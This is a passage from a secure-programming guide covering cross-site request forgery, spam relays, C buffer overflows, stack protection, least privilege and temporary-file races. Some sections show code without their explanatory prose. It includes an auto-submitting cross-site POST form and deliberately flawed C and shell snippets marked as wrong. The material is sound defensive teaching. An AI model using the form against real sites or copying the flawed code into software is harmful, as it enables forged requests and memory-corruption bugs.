 (ftp://([A-Za-z0-9][A-Za-z0-9\-]*(\.[A-Za-z0-9][A-Za-z0-9\-]*)*\.?)
  ((/([A-Za-z0-9\-\_\.\!\~\*\'\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)*/?) # path
  (\#([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+)? # fragment
  )
 )

 (
 (
  # Handle http, https, and relative URIs:
  ((https?://([A-Za-z0-9][A-Za-z0-9\-]*(\.[A-Za-z0-9][A-Za-z0-9\-]*)*\.?))|
    ([A-Za-z0-9\-\_\.\!\~\*\'\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)?
  ((/([A-Za-z0-9\-\_\.\!\~\*\'\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)*/?) # path
   (\#([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+)? # fragment
  )|
 # Handle ftp:
 (ftp://([A-Za-z0-9][A-Za-z0-9\-]*(\.[A-Za-z0-9][A-Za-z0-9\-]*)*\.?)
  ((/([A-Za-z0-9\-\_\.\!\~\*\'\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)*/?) # path
  (\#([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+)? # fragment
  )
 )

5.14. Forbid HTTP GET To Perform Non-Queries

Web-based applications using HTTP should prevent the use of the HTTP “GET” or “HEAD” method for anything other than queries. HTTP includes a number of different methods; the two most popular methods used are GET and POST. Both GET and POST can be used to transmit data from a form, but the GET method transmits data in the URL, while the POST method transmits data separately.

The security problem of using GET to perform non-queries (such as changing data, transferring money, or signing up for a service) is that an attacker can create a hypertext link with a URL that includes malicious form data. If the attacker convinces a victim to click on the link (in the case of a hypertext link), or even just view a page (in the case of transcluded information such as images from HTML’s img tag), the victim will perform a GET. When the GET is performed, all of the form data created by the attacker will be sent by the victim to the link specified. This is a cross-site malicious content attack, as discussed further in Section 7.16.

If the only action that a malicious cross-site content attack can perform is to make the user view unexpected data, this isn’t as serious a problem. This can still be a problem, of course, since there are some attacks that can be made using this capability. For example, there’s a potential loss of privacy due to the user requesting something unexpected, possible real-world effects from appearing to request illegal or incriminating material, or by making the user request the information in certain ways the information may be exposed to an attacker in ways it normally wouldn’t be exposed. However, even more serious effects can be caused if the malicious attacker can cause not just data viewing, but changes in data, through a cross-site link.

Typical HTTP interfaces (such as most CGI libraries) normally hide the differences between GET and POST, since for getting data it’s useful to treat the methods “the same way.” However, for actions that actually cause something other than a data query, check to see if the request is something other than POST; if it is, simply display a filled-in form with the data given and ask the user to confirm that they really mean the request. This will prevent cross-site malicious content attacks, while still giving users the convenience of confirming the action with a single click.

Indeed, this behavior is strongly recommended by the HTTP specification. According to the HTTP 1.1 specification (IETF RFC 2616 section 9.1.1), “the GET and HEAD methods SHOULD NOT have the significance of taking an action other than retrieval. These methods ought to be considered ‘safe’. This allows user agents to represent other methods, such as POST, PUT and DELETE, in a special way, so that the user is made aware of the fact that a possibly unsafe action is being requested.”

In the interest of fairness, I should note that this doesn’t completely solve the problem, because on some browsers (in some configurations) scripted posts can do the same thing. For example, imagine a web browser with ECMAscript (Javascript) enabled receiving the following HTML snippet - on some browsers, simply displaying this HTML snippet will automatically force the user to send a POST request to a website chosen by the attacker, with form data defined by the attacker:

  <form action=http://remote/script.cgi method=post name=b>
    <input type=hidden name=action value="do something">
    <input type=submit>
  </form>
  <script>document.b.submit()</script>

5.15. Counter SPAM

Any program that can send email elsewhere, by request from the network, can be used to transport spam. Spam is the usual name for unsolicited bulk email (UBE) or mass unsolicited email. It’s also sometimes called unsolicited commercial email (UCE), though that name is misleading - not all spam is commercial. For a discussion of why spam is such a serious problem and more general discussion about it, see my essay at https://www.dwheeler.com/essays/stopspam.html, as well as http://mail-abuse.org/, http://spam.abuse.net/, CAUCE, and IETF RFC 2635. Spam receivers and intermediaries bear most of the cost of spam, while the spammer spends very little to send it. Therefore many people regard spam as a theft of service, not just some harmless activity, and that number increases as the amount of spam increases.

If your program can be used to generate email sent to others (such as a mail transfer agent, generator of data sent by email, or a mailing list manager), be sure to write your program to prevent its unauthorized use as a mail relay. A program should usually only allow legitimate authorized users to send email to others (e.g., those inside that company’s mail server or those legitimately subscribed to the service). More information about this is in IETF RFC 2505 Also, if you manage a mailing list, make sure that it can enforce the rule that only subscribers can post to the list, and create a “log in” feature that will make it somewhat harder for spammers to subscribe, spam, and unsubscribe easily.

One way to more directly counter SPAM is to incorporate support for the MAPS (Mail Abuse Prevention System LLC) RBL (Realtime Blackhole List), which maintains in real-time a list of IP addresses where SPAM is known to originate. For more information, see http://mail-abuse.org/rbl/. Many current Mail Transfer Agents (MTAs) already support the RBL; see their websites for how to configure them. The usual way to use the RBL is to simply refuse to accept any requests from IP addresses in the blackhole list; this is harsh, but it solves the problem. Another similar service is the Open Relay Database (ORDB) at http://ordb.org, which identifies dynamically those sites that permit open email relays (open email relays are misconfigured email servers that allow spammers to send email through them). Another location for more information is SPEWS. I believe there are other similar services as well.

I suggest that many systems and programs, by default, enable spam blocking if they can send email on to others whose identity is under control of a remote user - and that includes MTAs. At the least, consider this. There are real problems with this suggestion, of course - you might (rarely) inhibit communication with a legitimate user. On the other hand, if you don’t block spam, then it’s likely that everyone else will blackhole your system (and thus ignore your emails). It’s not a simple issue, because no matter what you do, some people will not allow you to send them email. And of course, how well do you trust the organization keeping up the real-time blackhole list - will they add truly innocent sites to the blackhole list, and will they remove sites from the blackhole list once all is okay? Thus, it becomes a trade-off - is it more important to talk to spammers (and a few innocents as well), or is it more important to talk to those many other systems with spam blocks (losing those innocents who share equipment with spammers)? Obviously, this must be configurable. This is somewhat controversial advice, so consider your options for your circumstance.

5.16. Limit Valid Input Time and Load Level

Place time-outs and load level limits, especially on incoming network data. Otherwise, an attacker might be able to easily cause a denial of service by constantly requesting the service.

6.1. Dangers in C/C++

C users must avoid using dangerous functions that do not check bounds unless they've ensured that the bounds will never get exceeded. Functions to avoid in most cases (or ensure protection) include the functions strcpy(3), strcat(3), sprintf(3) (with cousin vsprintf(3)), and gets(3). These should be replaced with functions such as strncpy(3), strncat(3), snprintf(3), and fgets(3) respectively, but see the discussion below. The function strlen(3) should be avoided unless you can ensure that there will be a terminating NIL character to find. The scanf() family (scanf(3), fscanf(3), sscanf(3), vscanf(3), vsscanf(3), and vfscanf(3)) is often dangerous to use; do not use it to send data to a string without controlling the maximum length (the format %s is a particularly common problem). Other dangerous functions that may permit buffer overruns (depending on their use) include realpath(3), getopt(3), getpass(3), streadd(3), strecpy(3), and strtrns(3). You must be careful with getwd(3); the buffer sent to getwd(3) must be at least PATH_MAX bytes long. The select(2) helper macros FD_SET(), FD_CLR(), and FD_ISSET() do not check that the index fd is within bounds; make sure that fd >= 0 and fd <= FD_SETSIZE (this particular one has been exploited in pppd).

Unfortunately, snprintf()’s variants have additional problems. Officially, snprintf() is not a standard C function in the ISO 1990 (ANSI 1989) standard, though sprintf() is, so some very old systems do not include snprintf(). Even worse, some systems’ snprintf() do not actually protect against buffer overflows; they just call sprintf directly. Old versions of Linux’s libc4 depended on a “libbsd” that did this horrible thing, and I’m told that some old HP systems did the same. Linux’s current version of snprintf is known to work correctly, that is, it does actually respect the boundary requested. The return value of snprintf() varies as well; the Single Unix Specification (SUS) version 2 and the C99 standard differ on what is returned by snprintf(). Finally, it appears that at least some versions of snprintf don’t guarantee that its string will end in NIL; if the string is too long, it won’t include NIL at all. Note that the glib library (the basis of GTK, and not the same as the GNU C library glibc) has a g_snprintf(), which has a consistent return semantic, always NIL-terminates, and most importantly always respects the buffer length.

Of course, the problem is more than just calling string functions poorly. Here are a few additional examples of types of buffer overflow problems, graciously suggested by Timo Sirainen, involving manipulation of numbers to cause buffer overflows.

First, there’s the problem of signedness. If you read data that affects the buffer size, such as the "number of characters to be read," be sure to check if the number is less than zero or one. Otherwise, the negative number may be cast to an unsigned number, and the resulting large positive number may then permit a buffer overflow problem. Note that sometimes an attacker can provide a large positive number and have the same thing happen; in some cases, the large value will be interpreted as a negative number (slipping by the check for large numbers if there’s no check for a less-than-one value), and then be interpreted later into a large positive value.

 /* 1) signedness - DO NOT DO THIS. */
 char *buf;
 int i, len;

 read(fd, &len, sizeof(len));

 /* OOPS!  We forgot to check for < 0 */
 if (len > 8000) { error("too large length"); return; }

 buf = malloc(len);
 read(fd, buf, len); /* len casted to unsigned and overflows */

Here’s a second example identified by Timo Sirainen, involving integer size truncation. Sometimes the different sizes of integers can be exploited to cause a buffer overflow. Basically, make sure that you don’t truncate any integer results used to compute buffer sizes. Here’s Timo’s example for 64-bit architectures:

 /* An example of an ERROR for some 64-bit architectures,
    if "unsigned int" is 32 bits and "size_t" is 64 bits: */
 
 void *mymalloc(unsigned int size) { return malloc(size); }
 
 char *buf;
 size_t len;
 
 read(fd, &len, sizeof(len));
 
 /* we forgot to check the maximum length */
 
 /* 64-bit size_t gets truncated to 32-bit unsigned int */
 buf = mymalloc(len);
 read(fd, buf, len);

Here’s a third example from Timo Sirainen, involving integer overflow. This is particularly nasty when combined with malloc(); an attacker may be able to create a situation where the computed buffer size is less than the data to be placed in it. Here is Timo’s sample:

 /* 3) integer overflow */
 char *buf;
 size_t len;
 
 read(fd, &len, sizeof(len));
 
 /* we forgot to check the maximum length */
 
 buf = malloc(len+1); /* +1 can overflow to malloc(0) */
 read(fd, buf, len);
 buf[len] = '\0';

6.2. Library Solutions in C/C++

One partial solution in C/C++ is to use library functions that do not have buffer overflow problems. The first subsection describes the “standard C library” solution, which can work but has its disadvantages. The next subsection describes the general security issues of both fixed length and dynamically reallocated approaches to buffers. The following subsections describe various alternative libraries, such as strlcpy and libmib. Note that these don’t solve all problems; you still have to code extremely carefully in C/C++ to avoid all buffer overflow situations.

 char buf[BUFFER_SIZE];
 sprintf(buf, "%*s",  sizeof(buf)-1, "long-string");  /* WRONG */
 sprintf(buf, "%.*s", sizeof(buf)-1, "long-string");  /* RIGHT */

size_t strlcpy (char *dst, const char *src, size_t size);
size_t strlcat (char *dst, const char *src, size_t size);

  a = strlcat ("Y", "123", 0);

  int asprintf(char **strp, const char *fmt, ...);
  int vasprintf(char **strp, const char *fmt, va_list ap); 

  char *result;
  asprintf(&result, "x=%s and y=%s\n", x, y);

6.3. Compilation Solutions in C/C++

A completely different approach is to use compilation methods that perform bounds-checking (see [Sitaker 1999] for a list). In my opinion, such tools are very useful in having multiple layers of defense, but it’s not wise to use this technique as your sole defense. Many such tools only provide a partial defense. More-complete defenses tend to be slower (and generally people choose to use C/C++ because performance is important for their application). Also, for open source programs you cannot be certain what tools will be used to compile the program; using the default “normal” compiler for a given system might suddenly open security flaws.

Historically a very important tool is “StackGuard”, a modification of the standard GNU C compiler gcc. StackGuard works by inserting a “guard” value (called a “canary”) in front of the return address; if a buffer overflow overwrites the return address, the canary’s value (hopefully) changes and the system detects this before using it. This is quite valuable, but note that this does not protect against buffer overflows overwriting other values (which they may still be able to use to attack a system). There is work to extend StackGuard to be able to add canaries to other data items, called “PointGuard”. PointGuard will automatically protect certain values (e.g., function pointers and longjump buffers). However, protecting other variable types using PointGuard requires specific programmer intervention (the programmer has to identify which data values must be protected with canaries). This can be valuable, but it’s easy to accidentally omit protection for a data value you didn’t think needed protection - but needs it anyway. More information on StackGuard, PointGuard, and other alternatives is in Cowan [1999]. StackGuard inspired the development of many other run-time mechanisms to detect and counter attacks.

IBM has developed a stack protection system called ProPolice based on the ideas of StackGuard. IBM doesn’t include the ProPolice name in its current website - it’s just called a "GCC extension for protecting applications from stack-smashing attacks". However, it’s hard to talk about something without using a name, so I’ll continue to use the name ProPolice. Like StackGuard, ProPolice is a GCC (Gnu Compiler Collection) extension for protecting applications from stack-smashing attacks. Applications written in C are protected by automatically inserting protection code into an application at compilation time. ProPolice is slightly different than StackGuard, however, by adding three features: (1) reordering local variables to place buffers after pointers (to avoid the corruption of pointers that could be used to further corrupt arbitrary memory locations), (2) copying pointers in function arguments to an area preceding local variable buffers (to prevent the corruption of pointers that could be used to further corrupt arbitrary memory locations), and (3) omitting instrumentation code from some functions (it basically assumes that only character arrays are dangerous; while this isn’t strictly true, it’s mostly true, and as a result ProPolice has better performance while retaining most of its protective capabilities).

Red Hat engineers in 2005 re-implemented buffer overflow countermeasures in GCC based on lessons learned from ProPolice. They implemented the GCC flags -fstack-protector flag (which only protects some vulnerable functions), and the -fstack-protector-all flag (which protects all functions). In 2012, Google engineers added the -fstack-protector-strong flag that tries to strike a better balance (it protects more functions than -fstack-protector, but not all of them as -fstack-protector-all does). Many Linux distributions use one of these flags, as a default or for at least some packages, to harden application programs.

On Windows, Microsoft’s compilers include the /GS option to include StackGuard-like protection against buffer overflows. However, it’s worth noting that at least on Microsoft Windows 2003 Server these protection mechanisms can be defeated.

An especially strong hardening approach is "Address Sanitizer" (ASan, also referred to as ASAN and AddressSanitizer). ASan is available in LLVM and gcc compilers as the "-fsanitize=address" flag. ASan counters buffer overflow (global/stack/heap), use-after-free, and double-free based attacks. It can also detect use-after-return and memory leaks. It can also counters some other C/C++ memory issues, but due to its design it cannot detect read-before-write. Its has a measured overhead of 73% average CPU overhead (often 2x), with 2x-4x memory overhead; this is low compared to previous approaches, but it is still significant. Still, this is sometimes acceptable overhead for deployment, and it is typically quite acceptable for testing including fuzz testing. The development processes for Chromium and Firefox, for example, use ASan. Details of how ASan works is available at http://code.google.com/p/address-sanitizer/, particularly in the paper "AddressSanitizer: A Fast Address Sanity Checker" by Konstantin Serebryany, Derek Bruening, Alexander Potapenko, and Dmitry Vyukov (Google), USENIX ATC 2012 Fundamentally ASan uses "shadow bytes" to record memory addressability. ASan tracks addressability of memory, where addressability means if a read or write is permitted. All memory allocations (global, stack, and heap) are aligned to (at least) 8 bytes, and every 8 bytes of memory's addressability is represented by a "shadow byte". In the shadow byte, a 0 means all 8 bytes addressable, 1..7 means only next N are addressable, and negative (high bit) means no bytes are addressable. All allocations are surrounded by inaccessible "red zones" (with a default size of 128 bytes). Every allocation/deallocation in stack and heap manipulates the shadow bytes, and every read/write first checks the shadow bytes to see if access is allowed. This countermeasure is very strong, though it can be fooled if a calculated address is in a different valid region. That said, ASan is a remarkably strong defense for applications written in C or C++, in cases where these overheads are acceptable.

A "non-executable segment" approach was developed by Ingo Molnar, termed Exec Shield. Molnar’s exec shield limits the region that executable code can exist, and then moves executable code below that region. If the code is moved to an area where a zero byte must occur, then it’s harder to exploit because many ASCII-based attacks cannot insert a zero byte. This isn’t foolproof, but it does prevent certain attacks. However, many programs invoke libraries that in aggregate are so large that their addresses can have a non-zero in them, making them much more vulnerable.

A different approach is to limit transfer of control; this doesn’t prevent all buffer overflow attacks (e.g., those that attack data) but it can make other attacks harder [Kiriansky 2002]

In short, it’s better to work first on developing a correct program that defends itself against buffer overflows. Then, after you’ve done this, by all means use techniques and tools like StackGuard as an additional safety net. If you’ve worked hard to eliminate buffer overflows in the code itself, then StackGuard (and tools like it) are are likely to be more effective because there will be fewer “chinks in the armor” that StackGuard will be called on to protect.

6.4. Other Languages

The problem of buffer overflows is an excellent argument for using other programming languages such as Perl, Python, Java, and Ada95. After all, nearly all other programming languages used today (other than assembly language) protect against buffer overflows. Using those other languages does not eliminate all problems, of course; in particular see the discussion in Section 8.3 regarding the NIL character. There is also the problem of ensuring that those other languages' infrastructure (e.g., run-time library) is available and secured. Still, you should certainly consider using other programming languages when developing secure programs to protect against buffer overflows.

7.1. Follow Good Security Design Principles

Saltzer [1974] and later Saltzer and Schroeder [1975] list the following design principles when creating secure programs, which are still valid:

• Least privilege. Each user and program should operate using the fewest privileges possible. This principle limits the damage from an accident, error, or attack. It also reduces the number of potential interactions among privileged programs, so unintentional, unwanted, or improper uses of privilege are less likely to occur. This idea can be extended to the internals of a program: only the smallest portion of the program which needs those privileges should have them. See Section 7.4 for more about how to do this.

• Economy of mechanism/Simplicity. The protection system’s design should be simple and small as possible. In their words, “techniques such as line-by-line inspection of software and physical examination of hardware that implements protection mechanisms are necessary. For such techniques to be successful, a small and simple design is essential.” This is sometimes described as the “KISS” principle (“keep it simple, stupid”).

• Open design. The protection mechanism must not depend on attacker ignorance. Instead, the mechanism should be public, depending on the secrecy of relatively few (and easily changeable) items like passwords or private keys. An open design makes extensive public scrutiny possible, and it also makes it possible for users to convince themselves that the system about to be used is adequate. Frankly, it isn’t realistic to try to maintain secrecy for a system that is widely distributed; decompilers and subverted hardware can quickly expose any “secrets” in an implementation. Even if you pretend that source code is necessary to find exploits (it isn’t), source code has often been stolen and redistributed (at least once from Cisco and twice from Microsoft). This is one of the oldest and strongly supported principles, based on many years in cryptography. For example, the older Kerckhoffs’s Law states that "A cryptosystem should be designed to be secure if everything is known about it except the key information." Claude Shannon, the inventor of information theory, restated Kerckhoff’s Law as: "[Assume] the enemy knows the system." Indeed, security expert Bruce Schneier goes further and argues that smart engineers should “demand open source code for anything related to security”, as well as ensuring that it receives widespread review and that any identified problems are fixed [Schneier 1999].

• Complete mediation. Every access attempt must be checked; position the mechanism so it cannot be subverted. A synonym for this goal is non-bypassability. For example, in a client-server model, generally the server must do all access checking because users can build or modify their own clients. This is the point of all of Chapter 5, as well as Section 7.2.

• Fail-safe defaults (e.g., permission-based approach). The default should be denial of service, and the protection scheme should then identify conditions under which access is permitted. See Section 7.7 and Section 7.10 for more.

• Separation of privilege. Ideally, access to objects should depend on more than one condition, so that defeating one protection system won’t enable complete access.

• Least common mechanism. Minimize the amount and use of shared mechanisms (e.g. use of the /tmp or /var/tmp directories). Shared objects provide potentially dangerous channels for information flow and unintended interactions. See Section 7.11 for more information.

• Psychological acceptability / Easy to use. The human interface must be designed for ease of use so users will routinely and automatically use the protection mechanisms correctly. Mistakes will be reduced if the security mechanisms closely match the user’s mental image of his or her protection goals.

A good overview of various design principles for security is available in Peter Neumann’s Principled Assuredly Trustworthy Composable Architectures. For examples of complete failures to consider these issues (not limited to information technology), see the "winners" of Privacy International’s "Stupid Security" Competition.

7.2. Secure the Interface

Interfaces should be minimal (simple as possible), narrow (provide only the functions needed), and non-bypassable. Trust should be minimized. Consider limiting the data that the user can see.

7.3. Separate Data and Control

Any files you support should be designed to completely separate (passive) data from programs that are executed. Applications and data viewers may be used to display files developed externally, so in general don’t allow them to accept programs (also known as “scripts” or “macros”). The most dangerous kind is an auto-executing macro that executes when the application is loaded and/or when the data is initially displayed; from a security point-of-view this is generally a disaster waiting to happen.

If you truly must support programs downloaded remotely (e.g., to implement an existing standard), make sure that you have extremely strong control over what the macro can do (this is often called a “sandbox”). Past experience has shown that real sandboxes are hard to implement correctly. In fact, I can’t remember a single widely-used sandbox that hasn’t been repeatedly exploited (yes, that includes Java). If possible, at least have the programs stored in a separate file, so that it’s easier to block them out when another sandbox flaw has been found but not yet fixed. Storing them separately also makes it easier to reuse code and to cache it when helpful.

7.4. Minimize Privileges

As noted earlier, it is an important general principle that programs have the minimal amount of privileges necessary to do its job (this is termed “least privilege”). That way, if the program is broken, its damage is limited. The most extreme example is to simply not write a secure program at all - if this can be done, it usually should be. For example, don’t make your program setuid or setgid if you can; just make it an ordinary program, and require the administrator to log in as such before running it.

In Linux and Unix, the primary determiner of a process’ privileges is the set of id’s associated with it: each process has a real, effective and saved id for both the user and group (a few very old Unixes don’t have a “saved” id). Linux also has, as a special extension, a separate filesystem UID and GID for each process. Manipulating these values is critical to keeping privileges minimized, and there are several ways to minimize them (discussed below). You can also use chroot(2) to minimize the files visible to a program, though using chroot() can be difficult to use correctly. There are a few other values determining privilege in Linux and Unix, for example, POSIX capabilities (supported by Linux 2.2 and greater, and by some other Unix-like systems).

Syntax: compartment [options] /full/path/to/program

Options:
  --chroot path   chroot to path
  --user user     change UID to this user
  --group group   change GID to this group
  --init program  execute this program before doing anything
  --cap capset    set capset name. You can specify several
  --verbose       be verbose
  --quiet         do no logging (to syslog)

  compartment --chroot /home/ftp --cap CAP_NET_BIND_SERVICE anon-ftpd

7.5. Minimize the Functionality of a Component

In a related move, minimize the amount of functionality provided by your component. If it does several functions, consider breaking its implementation up into those smaller functions. That way, users who don’t need some functions can disable just those portions. This is particularly important when a flaw is discovered - this way, users can disable just one component and still use the other parts.

7.6. Avoid Creating Setuid/Setgid Scripts

Many Unix-like systems, in particular Linux, simply ignore the setuid and setgid bits on scripts to avoid the race condition described earlier. Since support for setuid scripts varies on Unix-like systems, they’re best avoided in new applications where possible. As a special case, Perl includes a special setup to support setuid Perl scripts, so using setuid and setgid is acceptable in Perl if you truly need this kind of functionality. If you need to support this kind of functionality in your own interpreter, examine how Perl does this. Otherwise, a simple approach is to “wrap” the script with a small setuid/setgid executable that creates a safe environment (e.g., clears and sets environment variables) and then calls the script (using the script’s full path). Make sure that the script cannot be changed by an attacker! Shell scripting languages have additional problems, and really should not be setuid/setgid; see Section 10.4 for more information about this.

7.7. Configure Safely and Use Safe Defaults

Configuration is considered to currently be the number one security problem. Therefore, you should spend some effort to (1) make the initial installation secure, and (2) make it easy to reconfigure the system while keeping it secure.

Never have the installation routines install a working “default” password. If you need to install new “users”, that’s fine - just set them up with an impossible password, leaving time for administrators to set the password (and leaving the system secure before the password is set). Administrators will probably install hundreds of packages and almost certainly forget to set the password - it’s likely they won’t even know to set it, if you create a default password.

A program should have the most restrictive access policy until the administrator has a chance to configure it. Please don’t create “sample” working users or “allow access to all” configurations as the starting configuration; many users just “install everything” (installing all available services) and never get around to configuring many services. In some cases the program may be able to determine that a more generous policy is reasonable by depending on the existing authentication system, for example, an ftp server could legitimately determine that a user who can log into a user’s directory should be allowed to access that user’s files. Be careful with such assumptions, however.

Have installation scripts install a program as safely as possible. By default, install all files as owned by root or some other system user and make them unwriteable by others; this prevents non-root users from installing viruses. Indeed, it’s best to make them unreadable by all but the trusted user. Allow non-root installation where possible as well, so that users without root privileges and administrators who do not fully trust the installer can still use the program.

When installing, check to make sure that any assumptions necessary for security are true. Some library routines are not safe on some platforms; see the discussion of this in Section 8.1. If you know which platforms your application will run on, you need not check their specific attributes, but in that case you should check to make sure that the program is being installed on only one of those platforms. Otherwise, you should require a manual override to install the program, because you don’t know if the result will be secure.

Try to make configuration as easy and clear as possible, including post-installation configuration. Make using the “secure” approach as easy as possible, or many users will use an insecure approach without understanding the risks. On Linux, take advantage of tools like linuxconf, so that users can easily configure their system using an existing infrastructure.

If there’s a configuration language, the default should be to deny access until the user specifically grants it. Include many clear comments in the sample configuration file, if there is one, so the administrator understands what the configuration does.

7.8. Load Initialization Values Safely

Many programs read an initialization file to allow their defaults to be configured. You must ensure that an attacker can’t change which initialization file is used, nor create or modify that file. Often you should not use the current directory as a source of this information, since if the program is used as an editor or browser, the user may be viewing the directory controlled by someone else. Instead, if the program is a typical user application, you should load any user defaults from a hidden file or directory contained in the user’s home directory. If the program is setuid/setgid, don’t read any file controlled by the user unless you carefully filter it as an untrusted (potentially hostile) input. Trusted configuration values should be loaded from somewhere else entirely (typically from a file in /etc).

7.9. Minimize the Accessible Data

A highly related issue is that, by default, data should be minimally accessible. Make sure any configuration and data files have the minimum necessary privileges. Obviously, make sure that only authorized users can write to these files. In fact, it may be wise to check the permissions on the files, and stop processing if arbitrary users can write to configuration files (or arbitrarily modify the directories they’re in). It’s often wise to install configuration files so that ordinary users can’t read them as well.

7.10. Fail Safe

A secure program should always “fail safe”, that is, it should be designed so that if the program does fail, the safest result should occur. For security-critical programs, that usually means that if some sort of misbehavior is detected (malformed input, reaching a “can’t get here” state, and so on), then the program should immediately deny service and stop processing that request. Don’t try to “figure out what the user wanted”: just deny the service. Sometimes this can decrease reliability or useability (from a user’s perspective), but it increases security. There are a few cases where this might not be desired (e.g., where denial of service is much worse than loss of confidentiality or integrity), but such cases are quite rare.

Note that I recommend “stop processing the request”, not “fail altogether”. In particular, most servers should not completely halt when given malformed input, because that creates a trivial opportunity for a denial of service attack (the attacker just sends garbage bits to prevent you from using the service). Sometimes taking the whole server down is necessary, in particular, reaching some “can’t get here” states may signal a problem so drastic that continuing is unwise.

Consider carefully what error message you send back when a failure is detected. if you send nothing back, it may be hard to diagnose problems, but sending back too much information may unintentionally aid an attacker. Usually the best approach is to reply with “access denied” or “miscellaneous error encountered” and then write more detailed information to an audit log (where you can have more control over who sees the information).

7.11. Avoid Race Conditions

A “race condition” can be defined as “Anomalous behavior due to unexpected critical dependence on the relative timing of events” [FOLDOC]. Race conditions generally involve one or more processes accessing a shared resource (such a file or variable), where this multiple access has not been properly controlled.

In general, processes do not execute atomically; another process may interrupt it between essentially any two instructions. If a secure program’s process is not prepared for these interruptions, another process may be able to interfere with the secure program’s process. Any pair of operations in a secure program must still work correctly if arbitrary amounts of another process’s code is executed between them.

Race condition problems can be notionally divided into two categories:

• Interference caused by untrusted processes. Some security taxonomies call this problem a “sequence” or “non-atomic” condition. These are conditions caused by processes running other, different programs, which “slip in” other actions between steps of the secure program. These other programs might be invoked by an attacker specifically to cause the problem. This book will call these sequencing problems.

• Interference caused by trusted processes (from the secure program’s point of view). Some taxonomies call these deadlock, livelock, or locking failure conditions. These are conditions caused by processes running the “same” program. Since these different processes may have the “same” privileges, if not properly controlled they may be able to interfere with each other in a way other programs can’t. Sometimes this kind of interference can be exploited. This book will call these locking problems.

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>

void failure(msg) {
 fprintf(stderr, "%s\n", msg);
 exit(1);
}

/*
 * Given a "pattern" for a temporary filename
 * (starting with the directory location and ending in XXXXXX),
 * create the file and return it.
 * This routines unlinks the file, so normally it won&rsquo;t appear in
 * a directory listing.
 * The pattern will be changed to show the final filename.
 */

FILE *create_tempfile(char *temp_filename_pattern)
{
 int temp_fd;
 mode_t old_mode;
 FILE *temp_file;

 old_mode = umask(077);  /* Create file with restrictive permissions */
 temp_fd = mkstemp(temp_filename_pattern);
 (void) umask(old_mode);
 if (temp_fd == -1) {
   failure("Couldn&rsquo;t open temporary file");
 }
 if (!(temp_file = fdopen(temp_fd, "w+b"))) {
   failure("Couldn&rsquo;t create temporary file&rsquo;s file descriptor");
 }
 if (unlink(temp_filename_pattern) == -1) {
   failure("Couldn&rsquo;t unlink temporary file");
 }
 return temp_file;
}


/*
 * Given a "tag" (a relative filename ending in XXXXXX),
 * create a temporary file using the tag.  The file will be created
 * in the directory specified in the environment variables
 * TMPDIR or TMP, if defined and we aren&rsquo;t setuid/setgid, otherwise
 * it will be created in /tmp.  Note that root (and su'd to root)
 * _will_ use TMPDIR or TMP, if defined.
 * 
 */
FILE *smart_create_tempfile(char *tag)
{
 char *tmpdir = NULL;
 char *pattern;
 FILE *result;

 if ((getuid()==geteuid()) && (getgid()==getegid())) {
   if (! ((tmpdir=getenv("TMPDIR")))) {
     tmpdir=getenv("TMP");
   }
 }
 if (!tmpdir) {tmpdir = "/tmp";}

 pattern = malloc(strlen(tmpdir)+strlen(tag)+2);
 if (!pattern) {
   failure("Could not malloc tempfile pattern");
 }
 strcpy(pattern, tmpdir);
 strcat(pattern, "/");
 strcat(pattern, tag);
 result = create_tempfile(pattern);
 free(pattern);
 return result;
}



main() {
 int c;
 FILE *demo_temp_file1;
 FILE *demo_temp_file2;
 char demo_temp_filename1[] = "/tmp/demoXXXXXX";
 char demo_temp_filename2[] = "second-demoXXXXXX";

 demo_temp_file1 = create_tempfile(demo_temp_filename1);
 demo_temp_file2 = smart_create_tempfile(demo_temp_filename2);
 fprintf(demo_temp_file2, "This is a test.\n");
 printf("Printing temporary file contents:\n");
 rewind(demo_temp_file2);
 while (  (c=fgetc(demo_temp_file2)) != EOF) {
   putchar(c);
 }
 putchar('\n');
 printf("Exiting; you&rsquo;ll notice that there are no temporary files on exit.\n");
}

 char *filename;
 int fd;

 do {
   filename = tempnam (NULL, "foo");
   fd = open (filename, O_CREAT | O_EXCL | O_TRUNC | O_RDWR, 0600);
   free (filename);
 } while (fd == -1);

   echo "This is a test" > /tmp/test$$  # DON'T DO THIS.

 # Simple use of mktemp(1), where the script should quit
 # if it can’t get a safe temporary file.
 # Note that this will be INSECURE on many systems, since they use
 # tmpwatch-like programs that will erase "old" files and expose race
 # conditions.

   TMPFILE=`mktemp /tmp/$0.XXXXXX` || exit 1
   echo "program output" >> $TMPFILE

  # Simple example, if you want to catch the error:

   TMPFILE=`mktemp -q /tmp/$0.XXXXXX`
   if [ $? -ne 0 ]; then
      echo "$0: Can’t create temp file, exiting..."
      exit 1
   fi

7.12. Trust Only Trustworthy Channels

In general, only trust information (input or results) from trustworthy channels. For example, the routines getlogin(3) and ttyname(3) return information that can be controlled by a local user, so don’t trust them for security purposes.

In most computer networks (and certainly for the Internet at large), no unauthenticated transmission is trustworthy. For example, packets sent over the public Internet can be viewed and modified at any point along their path, and arbitrary new packets can be forged. These forged packets might include forged information about the sender (such as their machine (IP) address and port) or receiver. Therefore, don’t use these values as your primary criteria for security decisions unless you can authenticate them (say using cryptography).

This means that, except under special circumstances, two old techniques for authenticating users in TCP/IP should often not be used as the sole authentication mechanism. One technique is to limit users to “certain machines” by checking the “from” machine address in a data packet; the other is to limit access by requiring that the sender use a “trusted” port number (a number less that 1024). The problem is that in many environments an attacker can forge these values.

In some environments, checking these values (e.g., the sending machine IP address and/or port) can have some value, so it’s not a bad idea to support such checking as an option in a program. For example, if a system runs behind a firewall, the firewall can’t be breached or circumvented, and the firewall stops external packets that claim to be from the inside, then you can claim that any packet saying it’s from the inside really does. Note that you can’t be sure the packet actually comes from the machine it claims it comes from - so you’re only countering external threats, not internal threats. However, broken firewalls, alternative paths, and mobile code make even these assumptions suspect.

